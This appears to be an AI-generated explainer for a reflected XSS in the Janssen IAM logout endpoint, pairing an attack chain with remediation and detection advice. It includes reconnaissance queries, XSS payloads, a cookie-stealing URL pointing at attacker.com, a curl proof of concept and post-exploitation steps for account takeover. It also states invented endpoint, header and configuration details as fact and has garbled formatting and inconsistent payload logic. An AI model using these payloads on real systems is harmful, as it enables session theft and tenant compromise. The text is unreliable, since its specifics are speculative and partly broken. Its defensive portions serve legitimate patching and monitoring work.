CVE-2026-77291 — JanssenProject Jans — CWE-79
The Janssen Project is an open-source identity and access management (IAM) platform. Prior to version 2.2.0, there is a reflected XSS vulnerability (JavaScript context) in EndSessionUtils. This issue has been patched in version 2.2.0.
The Janssen Project is an open-source identity and access management (IAM) platform. Prior to version 2.2.0, there is a reflected XSS vulnerability (JavaScript context) in EndSessionUtils. This issue has been patched in version 2.2.0.
🎯 What is this vulnerability?
CVE‑2026‑77291 – Reflected Cross‑Site Scripting (XSS) in Janssen Project ≤ v2.1.x
| Attribute | Value |
|---|---|
| CWE | CWE‑79 (Improper Neutralization of Input During Web Page Generation – Reflected XSS) |
| CVSS 3.1 | AV:N / AC:L / PR:N / UI:R / S:C / C:H / I:H / A:N = 9.3 (CRITICAL) |
| Component | EndSessionUtils – the class that builds the *end‑session* (logout) URL that is sent back to the user‑agent after a successful OpenID Connect / OAuth2 logout. |
| Root cause | The code concatenates a request‑supplied value directly into a JavaScript string literal that is later written to the response without any HTML‑ or JavaScript‑encoding. The value is taken from a query‑string parameter that is intended to be a *post‑logout redirect URI* (e.g. post_logout_redirect_uri). Because the parameter is reflected verbatim into a <script> block, an attacker can inject arbitrary JavaScript that will be executed in the context of the victim’s browser while the user is still authenticated to the Janssen IAM instance. |
| Missing protection | • No input validation (allow‑list of allowed redirect hosts).<br>• No output encoding for the JavaScript context (e.g. ESAPI.encoder().encodeForJavaScript).<br>• No CSP or SameSite restrictions that would mitigate script execution. |
| Why the CVSS vector looks the way it does | *Network* (AV:N) – the payload can be delivered over the Internet.<br>*Low* attack complexity (AC:L) – the attacker only needs to craft a URL.<br>*No* privileges required (PR:N) – the endpoint is public.<br>*User Interaction* required (UI:R) – the victim must click the malicious link.<br>*Scope* changed (S:C) – the XSS runs in the context of the Janssen domain, affecting the entire tenant (session cookies, tokens, etc.).<br>*Confidentiality* and *Integrity* are both *High* (C:H/I:H) because the attacker can read or modify any data the victim can access. *Availability* is *None* (A:N) – the bug does not directly cause denial‑of‑service. |
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow.
All URIs, parameter names and payloads are illustrative – the exact endpoint is not disclosed in the public CVE text, but the pattern matches the typical logout endpoint used by Janssen (/oauth2/end_session).
1. Discovery & Reconnaissance
| Activity | How it is performed |
|---|---|
| Identify the product & version | • Search public‑facing pages for the string “Janssen” or “OpenID Connect Provider”.<br>• Grab the Server header or a JavaScript bundle that contains a comment like Janssen‑IAM v2.1.5.<br>• Use Shodan/ZoomEye queries such as http.title:"Janssen" or http.html:"/janssen" to locate instances. |
| Confirm vulnerable version | • Access a known logout URL (e.g. https://example.com/jans-auth/oauth2/end_session) and inspect the HTML response. In versions < 2.2.0 the response contains a <script> block that writes the value of post_logout_redirect_uri directly into window.location. |
| Determine allowed redirect hosts (if any) | • Try a series of post_logout_redirect_uri values pointing to a controlled domain (e.g. https://attacker.com/) and see if the server redirects after logout. If the server accepts arbitrary URLs, the XSS is exploitable without additional bypasses. |
2. Exploitation
Goal: Deliver a malicious URL that, when clicked by an authenticated user, executes JavaScript in the context of the victim’s Janssen session.
2.1 Craft the malicious payload
https://target.example.com/jans-auth/oauth2/end_session?
post_logout_redirect_uri=
javascript:alert(document.domain)%3B%2F%2FExplanation
post_logout_redirect_uriis the vulnerable parameter.- The value is URL‑encoded JavaScript (
javascript:alert(document.domain);//). - Because the server injects the raw value into a
<script>block, thejavascript:scheme is not stripped and the payload runs.
A more useful payload for credential theft would be:
https://target.example.com/jans-auth/oauth2/end_session?
post_logout_redirect_uri=
https%3A%2F%2Fattacker.com%2Fsteal.js%3Fc%3D%24%7Bdocument.cookie%7DIf the server simply echoes the value inside window.location = '<value>';, the above will cause the browser to navigate to the attacker‑controlled script, leaking the session cookie via the query string.
2.2 Deliver the payload
2.3 PoC with curl (illustrative)
# Show the reflected value in the response (no authentication needed)
curl -s "https://target.example.com/jans-auth/oauth2/end_session?post_logout_redirect_uri=%3Cscript%3Ealert('XSS')%3C%2Fscript%3E" \
-H "User-Agent: Mozilla/5.0"The response will contain something similar to:
<script>
// End‑session page
window.location = "<script>alert('XSS')</script>";
</script>Because the value is not escaped, the browser will execute alert('XSS').
3. Post‑exploitation
| Step | What the attacker can do |
|---|---|
| Session hijacking | The injected script can read document.cookie (which holds the Janssen session cookie jans_auth), localStorage items (access_token, id_token), or the Authorization header of subsequent AJAX calls. The data can be sent to https://attacker.com/collect?c=<cookie> via fetch or Image beacons. |
| Privilege escalation inside the tenant | With a valid session token the attacker can call Janssen’s admin APIs (/admin/users, /admin/clients) to enumerate users, create new client registrations, or add themselves to privileged groups. |
| Persistence | The script can programmatically register a new OAuth client that uses a malicious redirect URI, giving the attacker a long‑term back‑door. |
| Further lateral movement | If the IAM instance federates to downstream applications (SSO), the stolen tokens can be replayed against those services, expanding the breach scope. |
| Data exfiltration | The script can read the user’s profile (/userinfo) via the existing access token and POST the JSON to the attacker’s server. |
🌍 Real‑World Impact
| CIA | Impact (derived from CVSS vector) | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | The attacker can steal session cookies, access‑tokens, ID‑tokens, and any data the victim can view (user profile, client secrets, audit logs). | Full credential theft → compromise of the entire IAM tenant. |
| Integrity (I:H) | The attacker can issue authenticated API calls that modify configuration (add users, change passwords, create malicious OAuth clients). | Ability to create privileged accounts, alter security policies, inject malicious redirects. |
| Availability (A:N) | No direct denial‑of‑service effect. | Not applicable. |
Because the scope is changed (S:C), the impact propagates to all applications that trust the Janssen provider for authentication – essentially the whole corporate SSO ecosystem.
🛡️ Remediation & Mitigation
1. Patch
| Action | Details |
|---|---|
| Upgrade | Move to Janssen Project 2.2.0 or later. The fix introduces proper JavaScript‑encoding of the post_logout_redirect_uri value and adds a whitelist of allowed redirect hosts. |
| Version range | All releases < 2.2.0 (including 2.1.x, 2.0.x, 1.x) are vulnerable. Verify the exact version via the X-Janssen-Version header or the pom.xml in the deployed WAR. |
2. Immediate Workarounds (if patch cannot be applied instantly)
| Workaround | Implementation | |
|---|---|---|
| Input validation at the reverse‑proxy | Block any request that contains a <script> tag or the string javascript: in the post_logout_redirect_uri query parameter. Example ModSecurity rule (Apache/Nginx): | |
``apacheconf\nSecRule REQUEST_URI "@contains /oauth2/end_session" "chain,phase:2,deny,status:403,msg:'Blocked potential XSS in post_logout_redirect_uri'"\nSecRule ARGS:post_logout_redirect_uri "@rx (<script | javascript:)" "t:none"\n` | |
| Content‑Security‑Policy (CSP) | Deploy a CSP header that disallows inline scripts and restricts script sources to trusted origins. Example: | |
`http\nContent-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com; object-src 'none'; base-uri 'self';\n` | ||
| SameSite cookie attribute | Ensure the Janssen session cookie is set with SameSite=Lax or Strict to mitigate CSRF‑style abuse when the attacker tries to force a logout request from another site. | |
| Restrict redirect hosts | Configure post_logout_redirect_uri whitelist in jans-auth configuration (end_session.allowedRedirectUris) to only include domains under your control. This eliminates the ability to inject arbitrary JavaScript URLs. | |
| Disable the vulnerable endpoint | If the organization does not use the OpenID Connect *end‑session* flow, block the path at the firewall or reverse‑proxy: POST /oauth2/end_session` → 404. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
Unexpected post_logout_redirect_uri values | Web server access logs (Apache/Nginx) | GET /jans-auth/oauth2/end_session?post_logout_redirect_uri=javascript%3Aalert%281%29 HTTP/1.1" 200 1234 |
| High frequency of logout requests from a single IP | WAF/IDS | ALERT: Possible XSS attempt – 150 requests to /oauth2/end_session from 203.0.113.45 in 5 min |
| Outbound requests to attacker‑controlled domains | Proxy logs, DNS logs, SIEM | GET https://attacker.com/steal.js?c=JSESSIONID=abc123... |
| New OAuth client registrations with suspicious redirect URIs | Janssen admin audit logs (/admin/audit) | INFO New client created – client_id=malicious‑client, redirect_uris=[https://attacker.com/cb] |
| JavaScript errors in the browser console | Client‑side telemetry (if collected) | Uncaught SyntaxError: Unexpected token '<' (indicates script injection) |
Rule of thumb: Flag any request to the logout endpoint that contains characters <, >, ", ', or the substring javascript: in the post_logout_redirect_uri parameter.
⚠️ Urgency
Patch priority: Critical – Deploy the 2.2.0 (or later) release within the next maintenance window. If a window cannot be scheduled immediately, apply the input‑validation and CSP workarounds described above and monitor for the detection indicators.
Bottom line: The reflected XSS in
EndSessionUtils allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of any logged‑in user, leading to full credential theft and complete compromise of the IAM tenant. Immediate patching to version 2.2.0, combined with strict redirect‑URI whitelisting and CSP enforcement, is the only reliable mitigation.[🤖 CVE Professor AI Security Engine]
FOFA Query